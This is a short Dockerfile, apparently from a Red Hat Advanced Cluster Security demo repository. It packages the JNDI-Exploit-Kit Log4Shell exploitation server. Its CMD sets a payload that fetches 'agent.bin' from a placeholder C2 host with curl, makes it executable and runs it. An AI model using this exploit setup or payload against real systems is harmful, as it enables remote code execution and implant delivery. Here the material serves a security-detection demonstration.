A demo of Red Hat Advanced Cluster Security
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 

6 lines
585 B

FROM docker.io/library/openjdk:11
RUN mkdir -p /deployments \
&& curl -Lo /deployments/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar https://github.com/pimps/JNDI-Exploit-Kit/raw/master/target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar
ENTRYPOINT [ "java", "-jar", "/deployments/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar" ]
CMD [ "-C", "curl -o /tmp/agent.bin https://c2-server.attacker/agent.bin ; chmod 755 /tmp/agent.bin ; /tmp/agent.bin", "-J", "jndi-exploit-kit.exploitkit-log4j.svc:8080", "-L", "jndi-exploit-kit.exploitkit-log4j.svc:1389", "-R", "jndi-exploit-kit.exploitkit-log4j.svc:1099" ]